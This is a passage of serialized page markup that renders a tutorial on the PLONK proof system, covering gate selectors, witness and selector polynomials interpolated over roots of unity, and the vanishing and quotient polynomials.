",{"type":23,"tag":154,"props":144247,"children":144249},{"className":144248},[500,501],[144250],{"type":23,"tag":504,"props":144251,"children":144253},{"className":144252},[507],[144254],{"type":23,"tag":504,"props":144255,"children":144257},{"className":144256,"ariaHidden":513},[512],[144258],{"type":23,"tag":504,"props":144259,"children":144261},{"className":144260},[518],[144262,144266],{"type":23,"tag":504,"props":144263,"children":144265},{"className":144264,"style":111796},[523],[],{"type":23,"tag":504,"props":144267,"children":144269},{"className":144268},[529],[144270,144275],{"type":23,"tag":504,"props":144271,"children":144273},{"className":144272},[529,530],[144274],{"type":29,"value":590},{"type":23,"tag":504,"props":144276,"children":144278},{"className":144277},[666],[144279],{"type":23,"tag":504,"props":144280,"children":144282},{"className":144281},[671,672],[144283,144312],{"type":23,"tag":504,"props":144284,"children":144286},{"className":144285},[677],[144287,144307],{"type":23,"tag":504,"props":144288,"children":144290},{"className":144289,"style":1180},[682],[144291],{"type":23,"tag":504,"props":144292,"children":144293},{"style":687},[144294,144298],{"type":23,"tag":504,"props":144295,"children":144297},{"className":144296,"style":693},[692],[],{"type":23,"tag":504,"props":144299,"children":144301},{"className":144300},[698,699,700,701],[144302],{"type":23,"tag":504,"props":144303,"children":144305},{"className":144304},[529,530,701],[144306],{"type":29,"value":578},{"type":23,"tag":504,"props":144308,"children":144310},{"className":144309},[712],[144311],{"type":29,"value":715},{"type":23,"tag":504,"props":144313,"children":144315},{"className":144314},[677],[144316],{"type":23,"tag":504,"props":144317,"children":144319},{"className":144318,"style":723},[682],[144320],{"type":23,"tag":504,"props":144321,"children":144322},{},[],{"type":29,"value":144324},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":23,"tag":32,"props":144326,"children":144327},{},[144328,144330,144335,144337,144441,144443,144546,144548,144553],{"type":29,"value":144329},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":23,"tag":4321,"props":144331,"children":144332},{},[144333],{"type":29,"value":144334},"selector",{"type":29,"value":144336}," values that act as switches: setting ",{"type":23,"tag":154,"props":144338,"children":144340},{"className":144339},[500,501],[144341],{"type":23,"tag":504,"props":144342,"children":144344},{"className":144343},[507],[144345],{"type":23,"tag":504,"props":144346,"children":144348},{"className":144347,"ariaHidden":513},[512],[144349,144428],{"type":23,"tag":504,"props":144350,"children":144352},{"className":144351},[518],[144353,144357,144415,144419,144424],{"type":23,"tag":504,"props":144354,"children":144356},{"className":144355,"style":111716},[523],[],{"type":23,"tag":504,"props":144358,"children":144360},{"className":144359},[529],[144361,144366],{"type":23,"tag":504,"props":144362,"children":144364},{"className":144363,"style":1136},[529,530],[144365],{"type":29,"value":1139},{"type":23,"tag":504,"props":144367,"children":144369},{"className":144368},[666],[144370],{"type":23,"tag":504,"props":144371,"children":144373},{"className":144372},[671,672],[144374,144404],{"type":23,"tag":504,"props":144375,"children":144377},{"className":144376},[677],[144378,144399],{"type":23,"tag":504,"props":144379,"children":144382},{"className":144380,"style":144381},[682],"height:0.3283em;",[144383],{"type":23,"tag":504,"props":144384,"children":144385},{"style":1184},[144386,144390],{"type":23,"tag":504,"props":144387,"children":144389},{"className":144388,"style":693},[692],[],{"type":23,"tag":504,"props":144391,"children":144393},{"className":144392},[698,699,700,701],[144394],{"type":23,"tag":504,"props":144395,"children":144397},{"className":144396,"style":2674},[529,530,701],[144398],{"type":29,"value":2677},{"type":23,"tag":504,"props":144400,"children":144402},{"className":144401},[712],[144403],{"type":29,"value":715},{"type":23,"tag":504,"props":144405,"children":144407},{"className":144406},[677],[144408],{"type":23,"tag":504,"props":144409,"children":144411},{"className":144410,"style":723},[682],[144412],{"type":23,"tag":504,"props":144413,"children":144414},{},[],{"type":23,"tag":504,"props":144416,"children":144418},{"className":144417,"style":538},[537],[],{"type":23,"tag":504,"props":144420,"children":144422},{"className":144421},[543],[144423],{"type":29,"value":546},{"type":23,"tag":504,"props":144425,"children":144427},{"className":144426,"style":538},[537],[],{"type":23,"tag":504,"props":144429,"children":144431},{"className":144430},[518],[144432,144436],{"type":23,"tag":504,"props":144433,"children":144435},{"className":144434,"style":1690},[523],[],{"type":23,"tag":504,"props":144437,"children":144439},{"className":144438},[529],[144440],{"type":29,"value":826},{"type":29,"value":144442}," makes a row a multiplication gate, setting ",{"type":23,"tag":154,"props":144444,"children":144446},{"className":144445},[500,501],[144447],{"type":23,"tag":504,"props":144448,"children":144450},{"className":144449},[507],[144451],{"type":23,"tag":504,"props":144452,"children":144454},{"className":144453,"ariaHidden":513},[512],[144455,144533],{"type":23,"tag":504,"props":144456,"children":144458},{"className":144457},[518],[144459,144463,144520,144524,144529],{"type":23,"tag":504,"props":144460,"children":144462},{"className":144461,"style":111716},[523],[],{"type":23,"tag":504,"props":144464,"children":144466},{"className":144465},[529],[144467,144472],{"type":23,"tag":504,"props":144468,"children":144470},{"className":144469,"style":1136},[529,530],[144471],{"type":29,"value":1139},{"type":23,"tag":504,"props":144473,"children":144475},{"className":144474},[666],[144476],{"type":23,"tag":504,"props":144477,"children":144479},{"className":144478},[671,672],[144480,144509],{"type":23,"tag":504,"props":144481,"children":144483},{"className":144482},[677],[144484,144504],{"type":23,"tag":504,"props":144485,"children":144487},{"className":144486,"style":144381},[682],[144488],{"type":23,"tag":504,"props":144489,"children":144490},{"style":1184},[144491,144495],{"type":23,"tag":504,"props":144492,"children":144494},{"className":144493,"style":693},[692],[],{"type":23,"tag":504,"props":144496,"children":144498},{"className":144497},[698,699,700,701],[144499],{"type":23,"tag":504,"props":144500,"children":144502},{"className":144501},[529,530,701],[144503],{"type":29,"value":119790},{"type":23,"tag":504,"props":144505,"children":144507},{"className":144506},[712],[144508],{"type":29,"value":715},{"type":23,"tag":504,"props":144510,"children":144512},{"className":144511},[677],[144513],{"type":23,"tag":504,"props":144514,"children":144516},{"className":144515,"style":723},[682],[144517],{"type":23,"tag":504,"props":144518,"children":144519},{},[],{"type":23,"tag":504,"props":144521,"children":144523},{"className":144522,"style":538},[537],[],{"type":23,"tag":504,"props":144525,"children":144527},{"className":144526},[543],[144528],{"type":29,"value":546},{"type":23,"tag":504,"props":144530,"children":144532},{"className":144531,"style":538},[537],[],{"type":23,"tag":504,"props":144534,"children":144536},{"className":144535},[518],[144537,144541],{"type":23,"tag":504,"props":144538,"children":144540},{"className":144539,"style":1690},[523],[],{"type":23,"tag":504,"props":144542,"children":144544},{"className":144543},[529],[144545],{"type":29,"value":826},{"type":29,"value":144547}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":23,"tag":4321,"props":144549,"children":144550},{},[144551],{"type":29,"value":144552},"permutation argument",{"type":29,"value":144554}," for that, which we will not cover here.",{"type":23,"tag":320,"props":144556,"children":144558},{"id":144557},"from-many-checks-to-one",[144559],{"type":29,"value":144560},"From many checks to one",{"type":23,"tag":32,"props":144562,"children":144563},{},[144564,144566,144571,144572,144664,144665,144757,144758,144850,144852,144857,144858,144950,144951,145043,145045,145070,145072,145097,145099,145191,145193,145218,145220,145245],{"type":29,"value":144565},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":23,"tag":4321,"props":144567,"children":144568},{},[144569],{"type":29,"value":144570},"witness polynomials",{"type":29,"value":1698},{"type":23,"tag":154,"props":144573,"children":144575},{"className":144574},[500,501],[144576],{"type":23,"tag":504,"props":144577,"children":144579},{"className":144578},[507],[144580],{"type":23,"tag":504,"props":144581,"children":144583},{"className":144582,"ariaHidden":513},[512],[144584],{"type":23,"tag":504,"props":144585,"children":144587},{"className":144586},[518],[144588,144592,144649,144654,144659],{"type":23,"tag":504,"props":144589,"children":144591},{"className":144590,"style":2160},[523],[],{"type":23,"tag":504,"props":144593,"children":144595},{"className":144594},[529],[144596,144601],{"type":23,"tag":504,"props":144597,"children":144599},{"className":144598,"style":3022},[529,530],[144600],{"type":29,"value":3025},{"type":23,"tag":504,"props":144602,"children":144604},{"className":144603},[666],[144605],{"type":23,"tag":504,"props":144606,"children":144608},{"className":144607},[671,672],[144609,144638],{"type":23,"tag":504,"props":144610,"children":144612},{"className":144611},[677],[144613,144633],{"type":23,"tag":504,"props":144614,"children":144616},{"className":144615,"style":144381},[682],[144617],{"type":23,"tag":504,"props":144618,"children":144619},{"style":3044},[144620,144624],{"type":23,"tag":504,"props":144621,"children":144623},{"className":144622,"style":693},[692],[],{"type":23,"tag":504,"props":144625,"children":144627},{"className":144626},[698,699,700,701],[144628],{"type":23,"tag":504,"props":144629,"children":144631},{"className":144630},[529,530,701],[144632],{"type":29,"value":119790},{"type":23,"tag":504,"props":144634,"children":144636},{"className":144635},[712],[144637],{"type":29,"value":715},{"type":23,"tag":504,"props":144639,"children":144641},{"className":144640},[677],[144642],{"type":23,"tag":504,"props":144643,"children":144645},{"className":144644,"style":723},[682],[144646],{"type":23,"tag":504,"props":144647,"children":144648},{},[],{"type":23,"tag":504,"props":144650,"children":144652},{"className":144651},[600],[144653],{"type":29,"value":603},{"type":23,"tag":504,"props":144655,"children":144657},{"className":144656},[529,530],[144658],{"type":29,"value":21327},{"type":23,"tag":504,"props":144660,"children":144662},{"className":144661},[930],[144663],{"type":29,"value":933},{"type":29,"value":4367},{"type":23,"tag":154,"props":144666,"children":144668},{"className":144667},[500,501],[144669],{"type":23,"tag":504,"props":144670,"children":144672},{"className":144671},[507],[144673],{"type":23,"tag":504,"props":144674,"children":144676},{"className":144675,"ariaHidden":513},[512],[144677],{"type":23,"tag":504,"props":144678,"children":144680},{"className":144679},[518],[144681,144685,144742,144747,144752],{"type":23,"tag":504,"props":144682,"children":144684},{"className":144683,"style":2160},[523],[],{"type":23,"tag":504,"props":144686,"children":144688},{"className":144687},[529],[144689,144694],{"type":23,"tag":504,"props":144690,"children":144692},{"className":144691,"style":3022},[529,530],[144693],{"type":29,"value":3025},{"type":23,"tag":504,"props":144695,"children":144697},{"className":144696},[666],[144698],{"type":23,"tag":504,"props":144699,"children":144701},{"className":144700},[671,672],[144702,144731],{"type":23,"tag":504,"props":144703,"children":144705},{"className":144704},[677],[144706,144726],{"type":23,"tag":504,"props":144707,"children":144709},{"className":144708,"style":144381},[682],[144710],{"type":23,"tag":504,"props":144711,"children":144712},{"style":3044},[144713,144717],{"type":23,"tag":504,"props":144714,"children":144716},{"className":144715,"style":693},[692],[],{"type":23,"tag":504,"props":144718,"children":144720},{"className":144719},[698,699,700,701],[144721],{"type":23,"tag":504,"props":144722,"children":144724},{"className":144723,"style":124603},[529,530,701],[144725],{"type":29,"value":124606},{"type":23,"tag":504,"props":144727,"children":144729},{"className":144728},[712],[144730],{"type":29,"value":715},{"type":23,"tag":504,"props":144732,"children":144734},{"className":144733},[677],[144735],{"type":23,"tag":504,"props":144736,"children":144738},{"className":144737,"style":723},[682],[144739],{"type":23,"tag":504,"props":144740,"children":144741},{},[],{"type":23,"tag":504,"props":144743,"children":144745},{"className":144744},[600],[144746],{"type":29,"value":603},{"type":23,"tag":504,"props":144748,"children":144750},{"className":144749},[529,530],[144751],{"type":29,"value":21327},{"type":23,"tag":504,"props":144753,"children":144755},{"className":144754},[930],[144756],{"type":29,"value":933},{"type":29,"value":4367},{"type":23,"tag":154,"props":144759,"children":144761},{"className":144760},[500,501],[144762],{"type":23,"tag":504,"props":144763,"children":144765},{"className":144764},[507],[144766],{"type":23,"tag":504,"props":144767,"children":144769},{"className":144768,"ariaHidden":513},[512],[144770],{"type":23,"tag":504,"props":144771,"children":144773},{"className":144772},[518],[144774,144778,144835,144840,144845],{"type":23,"tag":504,"props":144775,"children":144777},{"className":144776,"style":2160},[523],[],{"type":23,"tag":504,"props":144779,"children":144781},{"className":144780},[529],[144782,144787],{"type":23,"tag":504,"props":144783,"children":144785},{"className":144784,"style":3022},[529,530],[144786],{"type":29,"value":3025},{"type":23,"tag":504,"props":144788,"children":144790},{"className":144789},[666],[144791],{"type":23,"tag":504,"props":144792,"children":144794},{"className":144793},[671,672],[144795,144824],{"type":23,"tag":504,"props":144796,"children":144798},{"className":144797},[677],[144799,144819],{"type":23,"tag":504,"props":144800,"children":144802},{"className":144801,"style":144381},[682],[144803],{"type":23,"tag":504,"props":144804,"children":144805},{"style":3044},[144806,144810],{"type":23,"tag":504,"props":144807,"children":144809},{"className":144808,"style":693},[692],[],{"type":23,"tag":504,"props":144811,"children":144813},{"className":144812},[698,699,700,701],[144814],{"type":23,"tag":504,"props":144815,"children":144817},{"className":144816,"style":624},[529,530,701],[144818],{"type":29,"value":117145},{"type":23,"tag":504,"props":144820,"children":144822},{"className":144821},[712],[144823],{"type":29,"value":715},{"type":23,"tag":504,"props":144825,"children":144827},{"className":144826},[677],[144828],{"type":23,"tag":504,"props":144829,"children":144831},{"className":144830,"style":723},[682],[144832],{"type":23,"tag":504,"props":144833,"children":144834},{},[],{"type":23,"tag":504,"props":144836,"children":144838},{"className":144837},[600],[144839],{"type":29,"value":603},{"type":23,"tag":504,"props":144841,"children":144843},{"className":144842},[529,530],[144844],{"type":29,"value":21327},{"type":23,"tag":504,"props":144846,"children":144848},{"className":144847},[930],[144849],{"type":29,"value":933},{"type":29,"value":144851}," and the selectors become ",{"type":23,"tag":4321,"props":144853,"children":144854},{},[144855],{"type":29,"value":144856},"selector polynomials",{"type":29,"value":1698},{"type":23,"tag":154,"props":144859,"children":144861},{"className":144860},[500,501],[144862],{"type":23,"tag":504,"props":144863,"children":144865},{"className":144864},[507],[144866],{"type":23,"tag":504,"props":144867,"children":144869},{"className":144868,"ariaHidden":513},[512],[144870],{"type":23,"tag":504,"props":144871,"children":144873},{"className":144872},[518],[144874,144878,144935,144940,144945],{"type":23,"tag":504,"props":144875,"children":144877},{"className":144876,"style":2160},[523],[],{"type":23,"tag":504,"props":144879,"children":144881},{"className":144880},[529],[144882,144887],{"type":23,"tag":504,"props":144883,"children":144885},{"className":144884},[529,530],[144886],{"type":29,"value":78866},{"type":23,"tag":504,"props":144888,"children":144890},{"className":144889},[666],[144891],{"type":23,"tag":504,"props":144892,"children":144894},{"className":144893},[671,672],[144895,144924],{"type":23,"tag":504,"props":144896,"children":144898},{"className":144897},[677],[144899,144919],{"type":23,"tag":504,"props":144900,"children":144902},{"className":144901,"style":144381},[682],[144903],{"type":23,"tag":504,"props":144904,"children":144905},{"style":687},[144906,144910],{"type":23,"tag":504,"props":144907,"children":144909},{"className":144908,"style":693},[692],[],{"type":23,"tag":504,"props":144911,"children":144913},{"className":144912},[698,699,700,701],[144914],{"type":23,"tag":504,"props":144915,"children":144917},{"className":144916,"style":2674},[529,530,701],[144918],{"type":29,"value":2677},{"type":23,"tag":504,"props":144920,"children":144922},{"className":144921},[712],[144923],{"type":29,"value":715},{"type":23,"tag":504,"props":144925,"children":144927},{"className":144926},[677],[144928],{"type":23,"tag":504,"props":144929,"children":144931},{"className":144930,"style":723},[682],[144932],{"type":23,"tag":504,"props":144933,"children":144934},{},[],{"type":23,"tag":504,"props":144936,"children":144938},{"className":144937},[600],[144939],{"type":29,"value":603},{"type":23,"tag":504,"props":144941,"children":144943},{"className":144942},[529,530],[144944],{"type":29,"value":21327},{"type":23,"tag":504,"props":144946,"children":144948},{"className":144947},[930],[144949],{"type":29,"value":933},{"type":29,"value":4367},{"type":23,"tag":154,"props":144952,"children":144954},{"className":144953},[500,501],[144955],{"type":23,"tag":504,"props":144956,"children":144958},{"className":144957},[507],[144959],{"type":23,"tag":504,"props":144960,"children":144962},{"className":144961,"ariaHidden":513},[512],[144963],{"type":23,"tag":504,"props":144964,"children":144966},{"className":144965},[518],[144967,144971,145028,145033,145038],{"type":23,"tag":504,"props":144968,"children":144970},{"className":144969,"style":2160},[523],[],{"type":23,"tag":504,"props":144972,"children":144974},{"className":144973},[529],[144975,144980],{"type":23,"tag":504,"props":144976,"children":144978},{"className":144977},[529,530],[144979],{"type":29,"value":78866},{"type":23,"tag":504,"props":144981,"children":144983},{"className":144982},[666],[144984],{"type":23,"tag":504,"props":144985,"children":144987},{"className":144986},[671,672],[144988,145017],{"type":23,"tag":504,"props":144989,"children":144991},{"className":144990},[677],[144992,145012],{"type":23,"tag":504,"props":144993,"children":144995},{"className":144994,"style":144381},[682],[144996],{"type":23,"tag":504,"props":144997,"children":144998},{"style":687},[144999,145003],{"type":23,"tag":504,"props":145000,"children":145002},{"className":145001,"style":693},[692],[],{"type":23,"tag":504,"props":145004,"children":145006},{"className":145005},[698,699,700,701],[145007],{"type":23,"tag":504,"props":145008,"children":145010},{"className":145009},[529,530,701],[145011],{"type":29,"value":119790},{"type":23,"tag":504,"props":145013,"children":145015},{"className":145014},[712],[145016],{"type":29,"value":715},{"type":23,"tag":504,"props":145018,"children":145020},{"className":145019},[677],[145021],{"type":23,"tag":504,"props":145022,"children":145024},{"className":145023,"style":723},[682],[145025],{"type":23,"tag":504,"props":145026,"children":145027},{},[],{"type":23,"tag":504,"props":145029,"children":145031},{"className":145030},[600],[145032],{"type":29,"value":603},{"type":23,"tag":504,"props":145034,"children":145036},{"className":145035},[529,530],[145037],{"type":29,"value":21327},{"type":23,"tag":504,"props":145039,"children":145041},{"className":145040},[930],[145042],{"type":29,"value":933},{"type":29,"value":145044},", etc., all interpolated over a domain ",{"type":23,"tag":154,"props":145046,"children":145048},{"className":145047},[500,501],[145049],{"type":23,"tag":504,"props":145050,"children":145052},{"className":145051},[507],[145053],{"type":23,"tag":504,"props":145054,"children":145056},{"className":145055,"ariaHidden":513},[512],[145057],{"type":23,"tag":504,"props":145058,"children":145060},{"className":145059},[518],[145061,145065],{"type":23,"tag":504,"props":145062,"children":145064},{"className":145063,"style":23635},[523],[],{"type":23,"tag":504,"props":145066,"children":145068},{"className":145067,"style":879},[529,530],[145069],{"type":29,"value":882},{"type":29,"value":145071}," of ",{"type":23,"tag":154,"props":145073,"children":145075},{"className":145074},[500,501],[145076],{"type":23,"tag":504,"props":145077,"children":145079},{"className":145078},[507],[145080],{"type":23,"tag":504,"props":145081,"children":145083},{"className":145082,"ariaHidden":513},[512],[145084],{"type":23,"tag":504,"props":145085,"children":145087},{"className":145086},[518],[145088,145092],{"type":23,"tag":504,"props":145089,"children":145091},{"className":145090,"style":112667},[523],[],{"type":23,"tag":504,"props":145093,"children":145095},{"className":145094},[529,530],[145096],{"type":29,"value":596},{"type":29,"value":145098},"-th roots of unity. Evaluating ",{"type":23,"tag":154,"props":145100,"children":145102},{"className":145101},[500,501],[145103],{"type":23,"tag":504,"props":145104,"children":145106},{"className":145105},[507],[145107],{"type":23,"tag":504,"props":145108,"children":145110},{"className":145109,"ariaHidden":513},[512],[145111],{"type":23,"tag":504,"props":145112,"children":145114},{"className":145113},[518],[145115,145119,145176,145181,145186],{"type":23,"tag":504,"props":145116,"children":145118},{"className":145117,"style":2160},[523],[],{"type":23,"tag":504,"props":145120,"children":145122},{"className":145121},[529],[145123,145128],{"type":23,"tag":504,"props":145124,"children":145126},{"className":145125,"style":3022},[529,530],[145127],{"type":29,"value":3025},{"type":23,"tag":504,"props":145129,"children":145131},{"className":145130},[666],[145132],{"type":23,"tag":504,"props":145133,"children":145135},{"className":145134},[671,672],[145136,145165],{"type":23,"tag":504,"props":145137,"children":145139},{"className":145138},[677],[145140,145160],{"type":23,"tag":504,"props":145141,"children":145143},{"className":145142,"style":144381},[682],[145144],{"type":23,"tag":504,"props":145145,"children":145146},{"style":3044},[145147,145151],{"type":23,"tag":504,"props":145148,"children":145150},{"className":145149,"style":693},[692],[],{"type":23,"tag":504,"props":145152,"children":145154},{"className":145153},[698,699,700,701],[145155],{"type":23,"tag":504,"props":145156,"children":145158},{"className":145157},[529,530,701],[145159],{"type":29,"value":119790},{"type":23,"tag":504,"props":145161,"children":145163},{"className":145162},[712],[145164],{"type":29,"value":715},{"type":23,"tag":504,"props":145166,"children":145168},{"className":145167},[677],[145169],{"type":23,"tag":504,"props":145170,"children":145172},{"className":145171,"style":723},[682],[145173],{"type":23,"tag":504,"props":145174,"children":145175},{},[],{"type":23,"tag":504,"props":145177,"children":145179},{"className":145178},[600],[145180],{"type":29,"value":603},{"type":23,"tag":504,"props":145182,"children":145184},{"className":145183},[529,530],[145185],{"type":29,"value":21327},{"type":23,"tag":504,"props":145187,"children":145189},{"className":145188},[930],[145190],{"type":29,"value":933},{"type":29,"value":145192}," at the ",{"type":23,"tag":154,"props":145194,"children":145196},{"className":145195},[500,501],[145197],{"type":23,"tag":504,"props":145198,"children":145200},{"className":145199},[507],[145201],{"type":23,"tag":504,"props":145202,"children":145204},{"className":145203,"ariaHidden":513},[512],[145205],{"type":23,"tag":504,"props":145206,"children":145208},{"className":145207},[518],[145209,145213],{"type":23,"tag":504,"props":145210,"children":145212},{"className":145211,"style":144077},[523],[],{"type":23,"tag":504,"props":145214,"children":145216},{"className":145215},[529,530],[145217],{"type":29,"value":578},{"type":29,"value":145219},"-th root recovers the left wire value at row ",{"type":23,"tag":154,"props":145221,"children":145223},{"className":145222},[500,501],[145224],{"type":23,"tag":504,"props":145225,"children":145227},{"className":145226},[507],[145228],{"type":23,"tag":504,"props":145229,"children":145231},{"className":145230,"ariaHidden":513},[512],[145232],{"type":23,"tag":504,"props":145233,"children":145235},{"className":145234},[518],[145236,145240],{"type":23,"tag":504,"props":145237,"children":145239},{"className":145238,"style":144077},[523],[],{"type":23,"tag":504,"props":145241,"children":145243},{"className":145242},[529,530],[145244],{"type":29,"value":578},{"type":29,"value":357},{"type":23,"tag":145247,"props":145248,"children":145249},"polynomial-interpolation-panel",{},[],{"type":23,"tag":32,"props":145251,"children":145252},{},[145253,145255,145295,145297,145363,145365,145495,145497,145537,145539,145579,145581,145621,145622,145744],{"type":29,"value":145254},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":23,"tag":154,"props":145256,"children":145258},{"className":145257},[500,501],[145259],{"type":23,"tag":504,"props":145260,"children":145262},{"className":145261},[507],[145263],{"type":23,"tag":504,"props":145264,"children":145266},{"className":145265,"ariaHidden":513},[512],[145267],{"type":23,"tag":504,"props":145268,"children":145270},{"className":145269},[518],[145271,145275,145280,145285,145290],{"type":23,"tag":504,"props":145272,"children":145274},{"className":145273,"style":2160},[523],[],{"type":23,"tag":504,"props":145276,"children":145278},{"className":145277,"style":563},[529,530],[145279],{"type":29,"value":123604},{"type":23,"tag":504,"props":145281,"children":145283},{"className":145282},[600],[145284],{"type":29,"value":603},{"type":23,"tag":504,"props":145286,"children":145288},{"className":145287},[529,530],[145289],{"type":29,"value":21327},{"type":23,"tag":504,"props":145291,"children":145293},{"className":145292},[930],[145294],{"type":29,"value":933},{"type":29,"value":145296}," that combines selectors and witnesses. If the prover was honest, ",{"type":23,"tag":154,"props":145298,"children":145300},{"className":145299},[500,501],[145301],{"type":23,"tag":504,"props":145302,"children":145304},{"className":145303},[507],[145305],{"type":23,"tag":504,"props":145306,"children":145308},{"className":145307,"ariaHidden":513},[512],[145309,145350],{"type":23,"tag":504,"props":145310,"children":145312},{"className":145311},[518],[145313,145317,145322,145327,145332,145337,145341,145346],{"type":23,"tag":504,"props":145314,"children":145316},{"className":145315,"style":2160},[523],[],{"type":23,"tag":504,"props":145318,"children":145320},{"className":145319,"style":563},[529,530],[145321],{"type":29,"value":123604},{"type":23,"tag":504,"props":145323,"children":145325},{"className":145324},[600],[145326],{"type":29,"value":603},{"type":23,"tag":504,"props":145328,"children":145330},{"className":145329},[529,530],[145331],{"type":29,"value":21327},{"type":23,"tag":504,"props":145333,"children":145335},{"className":145334},[930],[145336],{"type":29,"value":933},{"type":23,"tag":504,"props":145338,"children":145340},{"className":145339,"style":538},[537],[],{"type":23,"tag":504,"props":145342,"children":145344},{"className":145343},[543],[145345],{"type":29,"value":546},{"type":23,"tag":504,"props":145347,"children":145349},{"className":145348,"style":538},[537],[],{"type":23,"tag":504,"props":145351,"children":145353},{"className":145352},[518],[145354,145358],{"type":23,"tag":504,"props":145355,"children":145357},{"className":145356,"style":1690},[523],[],{"type":23,"tag":504,"props":145359,"children":145361},{"className":145360},[529],[145362],{"type":29,"value":708},{"type":29,"value":145364}," at every row index in the domain. The vanishing polynomial ",{"type":23,"tag":154,"props":145366,"children":145368},{"className":145367},[500,501],[145369],{"type":23,"tag":504,"props":145370,"children":145372},{"className":145371},[507],[145373],{"type":23,"tag":504,"props":145374,"children":145376},{"className":145375,"ariaHidden":513},[512],[145377,145419,145482],{"type":23,"tag":504,"props":145378,"children":145380},{"className":145379},[518],[145381,145385,145391,145396,145401,145406,145410,145415],{"type":23,"tag":504,"props":145382,"children":145384},{"className":145383,"style":2160},[523],[],{"type":23,"tag":504,"props":145386,"children":145388},{"className":145387,"style":24160},[529,530],[145389],{"type":29,"value":145390},"Z",{"type":23,"tag":504,"props":145392,"children":145394},{"className":145393},[600],[145395],{"type":29,"value":603},{"type":23,"tag":504,"props":145397,"children":145399},{"className":145398},[529,530],[145400],{"type":29,"value":21327},{"type":23,"tag":504,"props":145402,"children":145404},{"className":145403},[930],[145405],{"type":29,"value":933},{"type":23,"tag":504,"props":145407,"children":145409},{"className":145408,"style":538},[537],[],{"type":23,"tag":504,"props":145411,"children":145413},{"className":145412},[543],[145414],{"type":29,"value":546},{"type":23,"tag":504,"props":145416,"children":145418},{"className":145417,"style":538},[537],[],{"type":23,"tag":504,"props":145420,"children":145422},{"className":145421},[518],[145423,145428,145469,145473,145478],{"type":23,"tag":504,"props":145424,"children":145427},{"className":145425,"style":145426},[523],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":145429,"children":145431},{"className":145430},[529],[145432,145437],{"type":23,"tag":504,"props":145433,"children":145435},{"className":145434},[529,530],[145436],{"type":29,"value":21327},{"type":23,"tag":504,"props":145438,"children":145440},{"className":145439},[666],[145441],{"type":23,"tag":504,"props":145442,"children":145444},{"className":145443},[671],[145445],{"type":23,"tag":504,"props":145446,"children":145448},{"className":145447},[677],[145449],{"type":23,"tag":504,"props":145450,"children":145452},{"className":145451,"style":110543},[682],[145453],{"type":23,"tag":504,"props":145454,"children":145455},{"style":6099},[145456,145460],{"type":23,"tag":504,"props":145457,"children":145459},{"className":145458,"style":693},[692],[],{"type":23,"tag":504,"props":145461,"children":145463},{"className":145462},[698,699,700,701],[145464],{"type":23,"tag":504,"props":145465,"children":145467},{"className":145466},[529,530,701],[145468],{"type":29,"value":596},{"type":23,"tag":504,"props":145470,"children":145472},{"className":145471,"style":1426},[537],[],{"type":23,"tag":504,"props":145474,"children":145476},{"className":145475},[1431],[145477],{"type":29,"value":6118},{"type":23,"tag":504,"props":145479,"children":145481},{"className":145480,"style":1426},[537],[],{"type":23,"tag":504,"props":145483,"children":145485},{"className":145484},[518],[145486,145490],{"type":23,"tag":504,"props":145487,"children":145489},{"className":145488,"style":1690},[523],[],{"type":23,"tag":504,"props":145491,"children":145493},{"className":145492},[529],[145494],{"type":29,"value":826},{"type":29,"value":145496}," is zero on exactly those points, so if all constraints hold then ",{"type":23,"tag":154,"props":145498,"children":145500},{"className":145499},[500,501],[145501],{"type":23,"tag":504,"props":145502,"children":145504},{"className":145503},[507],[145505],{"type":23,"tag":504,"props":145506,"children":145508},{"className":145507,"ariaHidden":513},[512],[145509],{"type":23,"tag":504,"props":145510,"children":145512},{"className":145511},[518],[145513,145517,145522,145527,145532],{"type":23,"tag":504,"props":145514,"children":145516},{"className":145515,"style":2160},[523],[],{"type":23,"tag":504,"props":145518,"children":145520},{"className":145519,"style":24160},[529,530],[145521],{"type":29,"value":145390},{"type":23,"tag":504,"props":145523,"children":145525},{"className":145524},[600],[145526],{"type":29,"value":603},{"type":23,"tag":504,"props":145528,"children":145530},{"className":145529},[529,530],[145531],{"type":29,"value":21327},{"type":23,"tag":504,"props":145533,"children":145535},{"className":145534},[930],[145536],{"type":29,"value":933},{"type":29,"value":145538}," divides ",{"type":23,"tag":154,"props":145540,"children":145542},{"className":145541},[500,501],[145543],{"type":23,"tag":504,"props":145544,"children":145546},{"className":145545},[507],[145547],{"type":23,"tag":504,"props":145548,"children":145550},{"className":145549,"ariaHidden":513},[512],[145551],{"type":23,"tag":504,"props":145552,"children":145554},{"className":145553},[518],[145555,145559,145564,145569,145574],{"type":23,"tag":504,"props":145556,"children":145558},{"className":145557,"style":2160},[523],[],{"type":23,"tag":504,"props":145560,"children":145562},{"className":145561,"style":563},[529,530],[145563],{"type":29,"value":123604},{"type":23,"tag":504,"props":145565,"children":145567},{"className":145566},[600],[145568],{"type":29,"value":603},{"type":23,"tag":504,"props":145570,"children":145572},{"className":145571},[529,530],[145573],{"type":29,"value":21327},{"type":23,"tag":504,"props":145575,"children":145577},{"className":145576},[930],[145578],{"type":29,"value":933},{"type":29,"value":145580},", yielding a quotient polynomial ",{"type":23,"tag":154,"props":145582,"children":145584},{"className":145583},[500,501],[145585],{"type":23,"tag":504,"props":145586,"children":145588},{"className":145587},[507],[145589],{"type":23,"tag":504,"props":145590,"children":145592},{"className":145591,"ariaHidden":513},[512],[145593],{"type":23,"tag":504,"props":145594,"children":145596},{"className":145595},[518],[145597,145601,145606,145611,145616],{"type":23,"tag":504,"props":145598,"children":145600},{"className":145599,"style":2160},[523],[],{"type":23,"tag":504,"props":145602,"children":145604},{"className":145603,"style":563},[529,530],[145605],{"type":29,"value":8033},{"type":23,"tag":504,"props":145607,"children":145609},{"className":145608},[600],[145610],{"type":29,"value":603},{"type":23,"tag":504,"props":145612,"children":145614},{"className":145613},[529,530],[145615],{"type":29,"value":21327},{"type":23,"tag":504,"props":145617,"children":145619},{"className":145618},[930],[145620],{"type":29,"value":933},{"type":29,"value":23556},{"type":23,"tag":154,"props":145623,"children":145625},{"className":145624},[500,501],[145626],{"type":23,"tag":504,"props":145627,"children":145629},{"className":145628},[507],[145630],